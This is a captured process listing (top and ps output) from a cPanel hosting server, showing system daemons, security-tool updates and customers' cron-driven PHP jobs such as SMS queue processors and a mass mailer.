 77269 nobody    20   0  277844  20144   4648 S   0.0  0.8   0:01.11 /usr/sbin+
 78903 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 82226 nobody    20   0  277876  19560   4444 S   0.0  0.8   0:00.95 /usr/sbin+
 82894 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 82985 nobody    20   0  277536  19400   4396 S   0.0  0.8   0:00.60 /usr/sbin+
 84610 nobody    20   0  277676  19756   4436 S   0.0  0.8   0:00.61 /usr/sbin+
 84694 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 85929 nobody    20   0  277744  19324   4160 S   0.0  0.8   0:00.49 /usr/sbin+
 85947 nobody    20   0  277744  19264   4116 S   0.0  0.8   0:00.39 /usr/sbin+
 87768 nobody    20   0  277744  18824   3756 S   0.0  0.8   0:00.29 /usr/sbin+
 87783 nobody    20   0  277744  19192   4076 S   0.0  0.8   0:00.21 /usr/sbin+
 87784 nobody    20   0  277816  19272   4108 S   0.0  0.8   0:00.22 /usr/sbin+
 88054 nobody    20   0  277868  18836   3728 S   0.0  0.8   0:00.20 /usr/sbin+
 88066 nobody    20   0  277744  19248   4056 S   0.0  0.8   0:00.13 /usr/sbin+
 88133 nobody    20   0  277744  18956   3792 S   0.0  0.8   0:00.18 /usr/sbin+
 88136 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 88141 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 88205 nobody    20   0  277744  19384   4060 S   0.0  0.8   0:00.14 /usr/sbin+
 88239 nobody    20   0  277744  19076   4012 S   0.0  0.8   0:00.15 /usr/sbin+
 89100 nobody    20   0  277876  18908   3844 S   0.0  0.8   0:00.05 /usr/sbin+
 89106 nobody    20   0  277888  18936   3864 S   0.0  0.8   0:00.05 /usr/sbin+
 89107 nobody    20   0  277748  18832   3756 S   0.0  0.8   0:00.11 /usr/sbin+
 89116 nobody    20   0  277744  18488   3448 S   0.0  0.8   0:00.09 /usr/sbin+
 89118 nobody    20   0  277744  18464   3432 S   0.0  0.8   0:00.10 /usr/sbin+
 89495 wp-tool+  20   0  445028    316    192 S   0.0  0.0   0:00.00 sw-engine+
 89756 root      20   0   60820   4508   3524 S   0.0  0.2   0:00.00 dovecot/l+
 89788 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [dnsadmin+
 89805 cpanelp+  20   0  298280   2476   1612 S   0.0  0.1   0:00.00 php-fpm: +
 90022 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 90033 root      20   0  183048   2156   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90034 root      20   0  183048   2156   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90035 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90036 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90038 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90039 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90040 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90042 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90044 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90046 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90047 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90048 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90049 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90050 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90051 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90052 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90053 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90054 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90055 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90056 root      20   0  183048   2156   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 90059 root      20   0  183048   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 90060 root      20   0  183048   2156   1592 S   0.0  0.1   0:00.00 /usr/sbin+
 90063 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 90067 root      20   0 1350688  15360    604 S   0.0  0.6   0:00.06 /usr/bin/+
 90069 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 90070 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 90071 root      20   0   20164    984    784 S   0.0  0.0   0:00.00 jailshell+
 90074 root      20   0  113284   1208   1036 S   0.0  0.0   0:00.00 /bin/sh -+
 90076 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 90077 root      20   0  188208  11096   5148 S   0.0  0.5   0:00.01 /usr/loca+
 90079 root      20   0   20164    968    764 S   0.0  0.0   0:00.00 jailshell+
 90081 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
 90082 root      20   0   20164    984    784 R   0.0  0.0   0:00.00 jailshell+
 90083 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 90085 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 90088 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 90089 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 90090 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 90091 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 90092 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 90093 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 90094 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 90095 root      20   0 1276060  10952    600 S   0.0  0.5   0:00.05 /usr/bin/+
 90096 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 90097 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 90098 root      20   0   20164    960    764 S   0.0  0.0   0:00.00 jailshell+
 90099 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 90107 root      20   0 1277356  12032    600 S   0.0  0.5   0:00.06 /usr/bin/+
 90108 root      20   0  108052    360    284 S   0.0  0.0   0:00.00 /usr/bin/+
 90109 root      20   0  113284   1476   1256 S   0.0  0.1   0:00.00 bash /usr+
 90110 root      35  15  113288   1428   1240 S   0.0  0.1   0:00.00 /bin/bash+
 90111 root      20   0  108052    652    556 S   0.0  0.0   0:00.00 flock -xw+
 90122 root      20   0  113284   1460   1252 S   0.0  0.1   0:00.00 /bin/bash+
 90124 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
 90136 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 90139 pactpay   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 90146 pactpay   20   0  480124  17684  11892 S   0.0  0.7   0:00.01 /opt/cpan+
 90152 root      20   0  111304   4268   3248 S   0.0  0.2   0:00.00 sshd: [ac+
 90160 root      20   0  160224   2408   1636 S   0.0  0.1   0:00.01 top -n 2 +
 90167 sshd      20   0  115644   2620   1552 S   0.0  0.1   0:00.00 sshd: [ne+
 90179 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 90182 locatio+  20   0   20164    264      0 S   0.0  0.0   0:00.00 jailshell+
 90192 locatio+  20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /usr/loca+
 90267 root      35  15  127648   2232   1792 R   0.0  0.1   0:00.00 /usr/loca+
 90270 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 90273 root      20   0  160220   2064   1584 R   0.0  0.1   0:00.00 top -bcn1
 90274 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 90277 cloudsms  20   0       0      0      0 Z   0.0  0.0   0:00.00 [jailshel+
 90286 root      20   0    6516    416    336 S   0.0  0.0   0:00.00 /usr/sbin+
 90287 root      20   0  113284    224      0 R   0.0  0.0   0:00.00 bash /usr+
 93318 root      20   0  183052   2108   1544 S   0.0  0.1   0:00.00 /usr/sbin+
 93348 root      20   0  113284   1112    936 S   0.0  0.0   0:00.00 /bin/sh -+
 93349 root      20   0  108056    308    232 S   0.0  0.0   0:00.00 sleep 4h +
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    Nov16   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        S    Nov16   0:14  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    Nov16   0:02  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [watchdogd]
root         36  0.1  0.0      0     0 ?        S    Nov16   0:13  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   Nov16   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   Nov16   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [deferwq]
root        100  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [kauditd]
root        229  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ata_sff]
root        240  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [scsi_eh_0]
root        243  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [scsi_tmf_0]
root        244  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [scsi_eh_1]
root        246  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [scsi_tmf_1]
root        248  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ttm_swap]
root        258  0.0  0.0      0     0 ?        S<   Nov16   0:01  \_ [kworker/1:1H]
root        263  0.0  0.0      0     0 ?        S<   Nov16   0:01  \_ [kworker/0:1H]
root        274  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [jbd2/vda3-8]
root        275  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ext4-rsv-conver]
root        412  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [rpciod]
root        413  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [xprtiod]
root        646  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [kvm-irqfd-clean]
root        672  0.0  0.0      0     0 ?        S<   Nov16   0:02  \_ [loop0]
root        726  0.0  0.0      0     0 ?        S    Nov16   0:00  \_ [jbd2/loop0-8]
root        727  0.0  0.0      0     0 ?        S<   Nov16   0:00  \_ [ext4-rsv-conver]
root      48576  0.0  0.0      0     0 ?        S    02:11   0:00  \_ [kworker/u200:1]
root      50830  0.0  0.0      0     0 ?        S    02:14   0:00  \_ [kworker/1:2]
root      63584  0.0  0.0      0     0 ?        S    02:30   0:00  \_ [kworker/0:4]
root      64314  0.0  0.0      0     0 ?        S    02:31   0:00  \_ [kworker/1:0]
root      72381  0.0  0.0      0     0 ?        D    02:41   0:00  \_ [kworker/0:3]
root      78903  0.0  0.0      0     0 ?        S    02:47   0:00  \_ [kworker/u200:0]
root      82894  0.0  0.0      0     0 ?        D    02:52   0:00  \_ [kworker/0:2]
root      84694  0.0  0.0      0     0 ?        S    02:54   0:00  \_ [kworker/1:1]
root      88136  0.0  0.0      0     0 ?        D    02:58   0:00  \_ [kworker/u200:2]
root      90290  0.0  0.0      0     0 ?        R    03:00   0:00  |   \_ [kworker/u200:2]
root      88141  0.0  0.0      0     0 ?        S    02:58   0:00  \_ [kworker/0:0]
root      90179  0.0  0.0      0     0 ?        S    03:00   0:00  \_ [kworker/1:3]
root          1  0.1  0.1  44400  3480 ?        Ss   Nov16   0:18 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        355  0.0  0.1  39500  3340 ?        Ss   Nov16   0:07 /usr/lib/systemd/systemd-journald
root        376  0.0  0.0  45376   584 ?        Ss   Nov16   0:00 /usr/lib/systemd/systemd-udevd
root        407  0.0  0.0  55532   584 ?        S<sl Nov16   0:01 /sbin/auditd
root        470  0.0  0.0 152780   308 ?        Ss   Nov16   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
polkitd     475  0.0  0.0 612240  1284 ?        Ssl  Nov16   0:01 /usr/lib/polkit-1/polkitd --no-debug
root        476  0.0  0.0  24716  1316 ?        Ss   Nov16   0:03 /usr/lib/systemd/systemd-logind
root        483  0.0  0.0  21540   536 ?        Ss   Nov16   0:00 /usr/sbin/irqbalance --foreground
rpc         484  0.0  0.0  69256   172 ?        Ss   Nov16   0:00 /sbin/rpcbind -w
root        485  0.0  0.0  52852   400 ?        Ss   Nov16   0:00 /usr/sbin/smartd -n -q never
dbus        492  0.0  0.0  58700  1520 ?        Ss   Nov16   0:07 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root        494  0.0  0.0 195208   116 ?        Ssl  Nov16   0:00 /usr/sbin/gssproxy -D
nscd        502  0.0  0.0 926904  1528 ?        Ssl  Nov16   0:12 /usr/sbin/nscd
root        515  0.0  0.0   4388   112 ?        Ss   Nov16   0:00 /usr/sbin/acpid
root        519  0.0  0.2 224148  5996 ?        Ss   Nov16   0:00 queueprocd - waiting up to 60s to process a task
root        545  0.0  0.0 124480   692 ?        Ss   Nov16   0:00 /usr/sbin/crond -n
root      93318  0.0  0.0 183052  2108 ?        S    01:00   0:00  \_ /usr/sbin/CROND -n
root      93348  0.0  0.0 113284  1112 ?        Ss   01:00   0:00  |   \_ /bin/sh -c sleep $((1 + RANDOM % 5))h $((1 + RANDOM % 60))m; /usr/local/bin/wp-toolkit update-configuration > /dev/null 2> /dev/null || /usr/local/cpanel/3rdparty/wp-toolkit/bin/wp-toolkit-installer.sh --generate-configs > /dev/null 2> /dev/null; /usr/bin/yum -y update wp-toolkit-cpanel > /dev/null 2> /dev/null
root      93349  0.0  0.0 108056   308 ?        S    01:00   0:00  |       \_ sleep 4h 32m
root      90033  0.0  0.0 183048  2156 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90063  0.0  0.0 113284  1212 ?        Ss   03:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate -u Imunify360 &>/dev/null
root      90067  6.0  0.6 1350688 15360 ?       Sl   03:00   0:00  |       \_ /usr/bin/CSPUpdate -u Imunify360
root      90034  0.0  0.0 183048  2156 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90088  0.0  0.0 113284  1212 ?        Ss   03:00   0:00  |   \_ /bin/sh -c /usr/bin/update_imunify &>/dev/null
root      90107  6.0  0.4 1277356 12032 ?       Sl   03:00   0:00  |       \_ /usr/bin/update_imunify
root      90035  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90076  0.0  0.0 113284  1212 ?        Ss   03:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate self-update &>/dev/null
root      90095  5.0  0.4 1276316 10952 ?       Sl   03:00   0:00  |       \_ /usr/bin/CSPUpdate self-update
root      90036  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90091  0.0  0.0 113284  1212 ?        Ss   03:00   0:00  |   \_ /bin/sh -c /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly > /dev/null 2>&1
root      90110  0.0  0.0 113288  1428 ?        SN   03:00   0:00  |       \_ /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly
root      90267  0.0  0.1 127648  2760 ?        RN   03:00   0:00  |           \_ /usr/local/lp/sonarperl/bin/perl /usr/local/lp/apps/sonarpush-helpers/hourly.d/eximData.pl
root      90038  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90085  0.0  0.0 113284  1212 ?        Ss   03:00   0:00  |   \_ /bin/sh -c /usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1
root      90109  0.0  0.0 113284  1476 ?        S    03:00   0:00  |       \_ bash /usr/local/maldetect/maldet --mkpubpaths
root      90287  0.0  0.0 113284   604 ?        S    03:00   0:00  |           \_ bash /usr/local/maldetect/maldet --mkpubpaths
root      90289  0.0  0.0 113284   224 ?        R    03:00   0:00  |               \_ bash /usr/local/maldetect/maldet --mkpubpaths
root      90039  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90070  0.0  0.0 113284  1212 ?        Ss   03:00   0:00  |   \_ /bin/sh -c flock -xw300 /run/autoupdate.lock -c "/usr/local/lp/bin/lw-autoupdate.sh auto" &>/dev/null || true
root      90111  0.0  0.0 108052   652 ?        S    03:00   0:00  |       \_ flock -xw300 /run/autoupdate.lock -c /usr/local/lp/bin/lw-autoupdate.sh auto
root      90122  0.0  0.0 113284  1460 ?        S    03:00   0:00  |           \_ /bin/bash /usr/local/lp/bin/lw-autoupdate.sh auto
root      90216  4.0  0.4 242008 11960 ?        R    03:00   0:00  |               \_ /usr/bin/python /usr/bin/yum clean all
root      90040  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90083  0.0  0.0 113284  1212 ?        Ss   03:00   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      90108  0.0  0.0 108052   360 ?        S    03:00   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      90124  0.0  0.0 113288  1520 ?        S    03:00   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      90288  0.0  0.0 153840  2092 ?        R    03:00   0:00  |               \_ ps auxf
root      90042  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90094  0.0  0.0  20164   808 ?        Ss   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/robocall.cloudsms.com.ng/endpoint/ ; php -q -f /home/cloudsms/robocall.cloudsms.com.ng/endpoint/send_multiple.php > /dev/null 2>&1
root      90044  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90097  0.0  0.0  20164   808 ?        Rs   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_schedules.php > /dev/null 2>&1
root      90046  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90099  0.0  0.0  20164   808 ?        Rs   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root      90047  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90071  0.0  0.0  20164   984 ?        Ss   03:00   0:00  |   \_ jailshell (cloudsms) [90270] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  90270  0.0  0.0  20164   260 ?        S    03:00   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  90274  0.0  0.0 113284  1212 ?        S    03:00   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  90276  1.0  0.6 404052 15608 ?        S    03:00   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/massmailer/cron.php
root      90048  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90090  0.0  0.0  20164   804 ?        Ss   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      90049  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90089  0.0  0.0  20164   804 ?        Ss   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root      90050  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90096  0.0  0.0  20164   808 ?        Ss   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      90051  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90093  0.0  0.0  20164   804 ?        Ss   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      90052  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90069  0.0  0.0  20164   988 ?        Ss   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      90053  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90092  0.0  0.0  20164   808 ?        Ss   03:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
root      90055  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90074  0.0  0.0 113284  1208 ?        Ss   03:00   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root      90077  1.0  0.4 188208 11096 ?        S    03:00   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root      90160  1.0  0.0 160224  2408 ?        S    03:00   0:00  |           \_ top -n 2 -b -c
root      90056  0.0  0.0 183048  2156 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90098  0.0  0.0  20164   960 ?        Ss   03:00   0:00  |   \_ jailshell (pactpay) [90139] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   90139  0.0  0.0  20164   256 ?        S    03:00   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   90146  1.0  0.7 480124 17684 ?        S    03:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      90059  0.0  0.0 183048  2152 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90081  0.0  0.0  20164   968 ?        Ss   03:00   0:00  |   \_ jailshell (nigeria) [90136] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   90136  0.0  0.0  20164   260 ?        S    03:00   0:00  |       \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   90147  7.0  0.6 404052 16136 ?        S    03:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root      90060  0.0  0.0 183048  2156 ?        S    03:00   0:00  \_ /usr/sbin/CROND -n
root      90079  0.0  0.0  20164   968 ?        Ss   03:00   0:00      \_ jailshell (locationforms) [90182]  php -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php >/dev/null
locatio+  90182  0.0  0.0  20164   264 ?        S    03:00   0:00          \_ jailshell (locationforms) [init] c php -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php >/dev/null
locatio+  90192  0.0  0.0 113284  1212 ?        S    03:00   0:00              \_ /usr/local/cpanel/bin/jailshell -c php -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php >/dev/null
locatio+  90202  3.0  0.8 406668 19824 ?        R    03:00   0:00                  \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q /home/locationforms/public_html/mail/admin/index.php -pprocessqueue -c/home/locationforms/public_html/mail/config/config.php
root        546  0.0  0.0  24208   244 ?        Ss   Nov16   0:00 /usr/sbin/atd -f
root        555  0.0  0.0 114704   212 ttyS0    Ss+  Nov16   0:00 /bin/bash
root        556  0.0  0.0 108296   212 tty1     Ss+  Nov16   0:00 /sbin/agetty --noclear tty1 linux
mailnull    625  0.0  0.1  89120  4140 ?        Ss   Nov16   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root        911  0.0  0.0 111304   584 ?        Ss   Nov16   0:01 /usr/sbin/sshd -D
root      90152  0.0  0.1 111304  4268 ?        Ss   03:00   0:00  \_ sshd: [accepted]
sshd      90167  0.0  0.1 115644  2620 ?        S    03:00   0:00      \_ sshd: [net]
systuser    912  0.0  0.0 113016    80 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
root        917  0.0  0.1 257360  3596 ?        Ssl  Nov16   0:03 /usr/sbin/rsyslogd -n
named       918  0.0  1.6 1185864 38872 ?       Ssl  Nov16   0:08 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
root        919  0.1 10.0 1763124 243960 ?      Ssl  Nov16   0:14 /usr/local/cpanel/3rdparty/bin/clamd -F
systuser    924  0.0  0.0  10388    36 ?        Ssl  Nov16   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        925  0.0  0.0  51508   672 ?        Ss   Nov16   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1080  0.0  0.1  46912  2568 ?        S    Nov16   0:00  \_ dovecot/pop3-login
dovenull   1081  0.0  0.1  47608  3484 ?        S    Nov16   0:00  \_ dovecot/imap-login
dovecot    1082  0.0  0.0  10320   388 ?        S    Nov16   0:00  \_ dovecot/anvil
root       1083  0.0  0.0  10452   568 ?        S    Nov16   0:00  \_ dovecot/log
dovenull   1084  0.0  0.1  46984  2488 ?        S    Nov16   0:00  \_ dovecot/pop3-login
dovenull   1085  0.0  0.1  47308  3180 ?        S    Nov16   0:00  \_ dovecot/imap-login
root       1091  0.0  0.1  24528  2604 ?        S    Nov16   0:00  \_ dovecot/config
dovecot    1095  0.0  0.0  13568   660 ?        S    Nov16   0:00  \_ dovecot/stats
dovecot    1160  0.0  0.0  41160  1572 ?        S    Nov16   0:00  \_ dovecot/auth
root      89756  0.0  0.1  60820  4508 ?        S    02:59   0:00  \_ dovecot/lmtp
root        926  0.0  0.0 572372  1176 ?        Ssl  Nov16   0:01 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
